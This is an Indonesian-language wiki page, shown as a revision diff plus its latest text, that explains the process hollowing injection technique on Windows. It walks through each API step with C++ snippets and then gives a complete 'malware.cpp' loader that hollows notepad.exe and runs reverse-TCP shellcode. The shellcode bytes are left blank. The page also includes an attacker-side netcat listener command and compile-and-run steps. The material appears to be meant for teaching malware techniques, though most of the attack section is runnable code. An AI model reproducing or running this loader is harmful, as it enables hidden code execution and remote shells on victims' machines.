Process Hollowing: Difference between revisions
No edit summary |
No edit summary |
||
| Line 10: | Line 10: | ||
== Langkah-Langkah == | == Langkah-Langkah == | ||
*Membuat Proses Sah dalam Mode Suspended | *'''Membuat Proses Sah dalam Mode Suspended''' | ||
Malware membuat proses sah seperti notepad.exe dalam mode suspended, menggunakan API CreateProcessA atau CreateProcessW dengan flag CREATE_SUSPENDED. Ini menciptakan proses target dan thread pertamanya, tapi thread belum dijalankan sehingga bisa dimodifikasi terlebih dahulu. | Malware membuat proses sah seperti notepad.exe dalam mode suspended, menggunakan API CreateProcessA atau CreateProcessW dengan flag CREATE_SUSPENDED. Ini menciptakan proses target dan thread pertamanya, tapi thread belum dijalankan sehingga bisa dimodifikasi terlebih dahulu. | ||
<syntaxhighlight lang=cpp line> | <syntaxhighlight lang=cpp line> | ||
| Line 22: | Line 22: | ||
std::cout << "[+] Process created in suspended state. PID: " << pi.dwProcessId << std::endl; | std::cout << "[+] Process created in suspended state. PID: " << pi.dwProcessId << std::endl; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
*Menghapus Image Memori Aplikasi Sah | *'''Menghapus Image Memori Aplikasi Sah''' | ||
Malware memanggil API <code>NtUnmapViewOfSection</code> untuk menghapus seluruh image PE asli dari proses target. Fungsi ini bekerja lebih baik daripada <code>VirtualFreeEx</code>, karena benar-benar melepaskan mapping file .exe asli dari memori target. | Malware memanggil API <code>NtUnmapViewOfSection</code> untuk menghapus seluruh image PE asli dari proses target. Fungsi ini bekerja lebih baik daripada <code>VirtualFreeEx</code>, karena benar-benar melepaskan mapping file .exe asli dari memori target. | ||
<syntaxhighlight lang=cpp line> | <syntaxhighlight lang=cpp line> | ||
| Line 45: | Line 45: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
*Mengalokasikan Memori untuk PE Malware | *'''Mengalokasikan Memori untuk PE Malware''' | ||
Setelah proses target kosong, malware menggunakan <code>VirtualAllocEx</code> untuk mengalokasikan ruang memori di alamat base address yang sama dengan PE malware. Alokasi ini dilakukan dengan permission seperti <code>PAGE_EXECUTE_READWRITE</code> dan ukuran yang sesuai dengan ukuran PE malware. | Setelah proses target kosong, malware menggunakan <code>VirtualAllocEx</code> untuk mengalokasikan ruang memori di alamat base address yang sama dengan PE malware. Alokasi ini dilakukan dengan permission seperti <code>PAGE_EXECUTE_READWRITE</code> dan ukuran yang sesuai dengan ukuran PE malware. | ||
<syntaxhighlight lang=cpp line> | <syntaxhighlight lang=cpp line> | ||
| Line 56: | Line 56: | ||
std::cout << "[+] Remote memory allocated successfully." << std::endl; | std::cout << "[+] Remote memory allocated successfully." << std::endl; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
*inject shellcode | *'''inject shellcode''' | ||
Malware menggunakan <code>WriteProcessMemory</code> untuk menyuntikkan seluruh file PE malware (header + section) ke dalam proses target. Proses ini juga mencakup fix import table, relocation, dan bagian penting lainnya jika diperlukan agar PE bisa berjalan dengan benar. | Malware menggunakan <code>WriteProcessMemory</code> untuk menyuntikkan seluruh file PE malware (header + section) ke dalam proses target. Proses ini juga mencakup fix import table, relocation, dan bagian penting lainnya jika diperlukan agar PE bisa berjalan dengan benar. | ||
<syntaxhighlight lang=cpp line> | <syntaxhighlight lang=cpp line> | ||
| Line 68: | Line 68: | ||
std::cout << "[+] Shellcode written successfully." << std::endl; | std::cout << "[+] Shellcode written successfully." << std::endl; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
*Mengubah Titik Awal Eksekusi Thread | *'''Mengubah Titik Awal Eksekusi Thread''' | ||
Malware memanggil <code>GetThreadContext</code> untuk membaca state register dari thread utama (yang masih di-suspend). Setelah itu, <code>SetThreadContext<code> digunakan untuk mengatur register instruksi (EIP untuk 32-bit, RIP untuk 64-bit) ke EntryPoint dari PE malware. | Malware memanggil <code>GetThreadContext</code> untuk membaca state register dari thread utama (yang masih di-suspend). Setelah itu, <code>SetThreadContext</code> digunakan untuk mengatur register instruksi (EIP untuk 32-bit, RIP untuk 64-bit) ke EntryPoint dari PE malware. | ||
<syntaxhighlight lang=cpp line> | <syntaxhighlight lang=cpp line> | ||
// Get thread context | // Get thread context | ||
| Line 94: | Line 94: | ||
std::cout << "[+] Thread context updated. RIP now points to shellcode." << std::endl; | std::cout << "[+] Thread context updated. RIP now points to shellcode." << std::endl; | ||
</syntaxhighlight> | </syntaxhighlight> | ||
*Menjalankan Thread yang Sudah Dimodifikasi | *'''Menjalankan Thread yang Sudah Dimodifikasi''' | ||
Terakhir, malware memanggil <code>ResumeThread</code> untuk menjalankan thread utama dari proses. Tapi kali ini, thread itu tidak lagi menjalankan <code>notepad.exe</code>, melainkan PE malware, walaupun dari luar terlihat seperti proses sah <code>notepad.exe</code> | Terakhir, malware memanggil <code>ResumeThread</code> untuk menjalankan thread utama dari proses. Tapi kali ini, thread itu tidak lagi menjalankan <code>notepad.exe</code>, melainkan PE malware, walaupun dari luar terlihat seperti proses sah <code>notepad.exe</code> | ||
| Line 209: | Line 209: | ||
Hasil: | Hasil: | ||
[[File:Process_hollowing_result_2.png]] | [[File:Process_hollowing_result_2.png]] | ||
Kalau kita lihat PID terkait: | Kalau kita lihat PID terkait: | ||
[[File:Process_hollowing_result_3.png]] | [[File:Process_hollowing_result_3.png]] | ||
Lalu di komputer attacker: | Lalu di komputer attacker: | ||
[[File:Process_hollowing_result_1.png]] | [[File:Process_hollowing_result_1.png]] | ||
Latest revision as of 09:16, 12 April 2025
Process Hollowing adalah salah satu teknik code injection yang menggantikan isi memori process yang sah dengan executable milik malware. Hal ini dilakukan setelah proses sah (misalnya svchost.exe) dijalankan dalam mode suspended, lalu executable proses tersebut dikosongkan (dihilangkan dari memori), dan diisi dengan executable malware, yang nantinya akan dijalankan dengan “identitas” process sah tersebut.
Contoh Kasus
Misal Malware membuat process baru yaitu notepade.exe. Setelah process ini dibuat dan file PE dari notepad.exe
dimuat ke memori, malware akan menghapus file PE mili notepad dari memori process. Setelah itu malware akan memuat file PE
miliknya sendiri ke lokasi yang sama di memori. Akhirnya malware akan mengeksekusi file PE miliknya namun dengan identitas milik notepad.exe
Langkah-Langkah
- Membuat Proses Sah dalam Mode Suspended
Malware membuat proses sah seperti notepad.exe dalam mode suspended, menggunakan API CreateProcessA atau CreateProcessW dengan flag CREATE_SUSPENDED. Ini menciptakan proses target dan thread pertamanya, tapi thread belum dijalankan sehingga bisa dimodifikasi terlebih dahulu.
std::string targetProcess = "notepad.exe";
std::cout << "[*] Creating suspended process: " << targetProcess << std::endl;
if (!CreateProcessA(nullptr, const_cast<LPSTR>(targetProcess.c_str()), nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) {
std::cerr << "[ERROR] Failed to create process. Error code: " << GetLastError() << std::endl;
return 1;
}
std::cout << "[+] Process created in suspended state. PID: " << pi.dwProcessId << std::endl;
- Menghapus Image Memori Aplikasi Sah
Malware memanggil API NtUnmapViewOfSection untuk menghapus seluruh image PE asli dari proses target. Fungsi ini bekerja lebih baik daripada VirtualFreeEx, karena benar-benar melepaskan mapping file .exe asli dari memori target.
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
std::cerr << "[ERROR] Failed to get handle to ntdll.dll. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
using pNtUnmapViewOfSection = NTSTATUS(NTAPI*)(HANDLE, PVOID);
auto NtUnmapViewOfSection = reinterpret_cast<pNtUnmapViewOfSection>(GetProcAddress(hNtdll, "NtUnmapViewOfSection"));
if (!NtUnmapViewOfSection) {
std::cerr << "[ERROR] Failed to get NtUnmapViewOfSection. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, reinterpret_cast<PVOID>(0x00400000));
if (status == 0xC0000019) {
std::cout << "[!] Warning: Conflicting address. Will continue with different memory region." << std::endl;
}
- Mengalokasikan Memori untuk PE Malware
Setelah proses target kosong, malware menggunakan VirtualAllocEx untuk mengalokasikan ruang memori di alamat base address yang sama dengan PE malware. Alokasi ini dilakukan dengan permission seperti PAGE_EXECUTE_READWRITE dan ukuran yang sesuai dengan ukuran PE malware.
LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMemory) {
std::cerr << "[ERROR] Failed to allocate memory in target process. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
std::cout << "[+] Remote memory allocated successfully." << std::endl;
- inject shellcode
Malware menggunakan WriteProcessMemory untuk menyuntikkan seluruh file PE malware (header + section) ke dalam proses target. Proses ini juga mencakup fix import table, relocation, dan bagian penting lainnya jika diperlukan agar PE bisa berjalan dengan benar.
// Write shellcode
if (!WriteProcessMemory(pi.hProcess, remoteMemory, shellcode, sizeof(shellcode), nullptr)) {
std::cerr << "[ERROR] Failed to write shellcode to memory. Error code: " << GetLastError() << std::endl;
VirtualFreeEx(pi.hProcess, remoteMemory, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 1);
return 1;
}
std::cout << "[+] Shellcode written successfully." << std::endl;
- Mengubah Titik Awal Eksekusi Thread
Malware memanggil GetThreadContext untuk membaca state register dari thread utama (yang masih di-suspend). Setelah itu, SetThreadContext digunakan untuk mengatur register instruksi (EIP untuk 32-bit, RIP untuk 64-bit) ke EntryPoint dari PE malware.
// Get thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &ctx)) {
std::cerr << "[ERROR] Failed to get thread context. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
#ifdef _WIN64
ctx.Rip = reinterpret_cast<DWORD64>(remoteMemory); // Entry point
#else
ctx.Eip = reinterpret_cast<DWORD>(remoteMemory);
#endif
if (!SetThreadContext(pi.hThread, &ctx)) {
std::cerr << "[ERROR] Failed to set thread context. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
std::cout << "[+] Thread context updated. RIP now points to shellcode." << std::endl;
- Menjalankan Thread yang Sudah Dimodifikasi
Terakhir, malware memanggil ResumeThread untuk menjalankan thread utama dari proses. Tapi kali ini, thread itu tidak lagi menjalankan notepad.exe, melainkan PE malware, walaupun dari luar terlihat seperti proses sah notepad.exe
Full Code
Di komputer attacker:
nc -lvnp <PORT>
Di komputer korban, Untuk shellcode lihat di Shellcode
// malware.cpp
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <string>
// Shellcode Reverse TCP
unsigned char shellcode[] = {
// masukin shellcode di sini
};
int main() {
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
std::string targetProcess = "notepad.exe";
std::cout << "[*] Creating suspended process: " << targetProcess << std::endl;
if (!CreateProcessA(nullptr, const_cast<LPSTR>(targetProcess.c_str()), nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi)) {
std::cerr << "[ERROR] Failed to create process. Error code: " << GetLastError() << std::endl;
return 1;
}
std::cout << "[+] Process created in suspended state. PID: " << pi.dwProcessId << std::endl;
// Load NtUnmapViewOfSection
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) {
std::cerr << "[ERROR] Failed to get handle to ntdll.dll. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
using pNtUnmapViewOfSection = NTSTATUS(NTAPI*)(HANDLE, PVOID);
auto NtUnmapViewOfSection = reinterpret_cast<pNtUnmapViewOfSection>(GetProcAddress(hNtdll, "NtUnmapViewOfSection"));
if (!NtUnmapViewOfSection) {
std::cerr << "[ERROR] Failed to get NtUnmapViewOfSection. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, reinterpret_cast<PVOID>(0x00400000));
if (status == 0xC0000019) {
std::cout << "[!] Warning: Conflicting address. Will continue with different memory region." << std::endl;
}
// Allocate memory for shellcode
LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMemory) {
std::cerr << "[ERROR] Failed to allocate memory in target process. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
std::cout << "[+] Remote memory allocated successfully." << std::endl;
// Write shellcode
if (!WriteProcessMemory(pi.hProcess, remoteMemory, shellcode, sizeof(shellcode), nullptr)) {
std::cerr << "[ERROR] Failed to write shellcode to memory. Error code: " << GetLastError() << std::endl;
VirtualFreeEx(pi.hProcess, remoteMemory, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 1);
return 1;
}
std::cout << "[+] Shellcode written successfully." << std::endl;
// Get thread context
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.hThread, &ctx)) {
std::cerr << "[ERROR] Failed to get thread context. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
#ifdef _WIN64
ctx.Rip = reinterpret_cast<DWORD64>(remoteMemory); // Entry point
#else
ctx.Eip = reinterpret_cast<DWORD>(remoteMemory);
#endif
if (!SetThreadContext(pi.hThread, &ctx)) {
std::cerr << "[ERROR] Failed to set thread context. Error code: " << GetLastError() << std::endl;
TerminateProcess(pi.hProcess, 1);
return 1;
}
std::cout << "[+] Thread context updated. RIP now points to shellcode." << std::endl;
// Resume thread
ResumeThread(pi.hThread);
std::cout << "[+] Thread resumed. Shellcode should now be executing." << std::endl;
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
compile & run:
g++ -o malware malware.cpp
malware.exe
Hasil:
Kalau kita lihat PID terkait:
Lalu di komputer attacker:


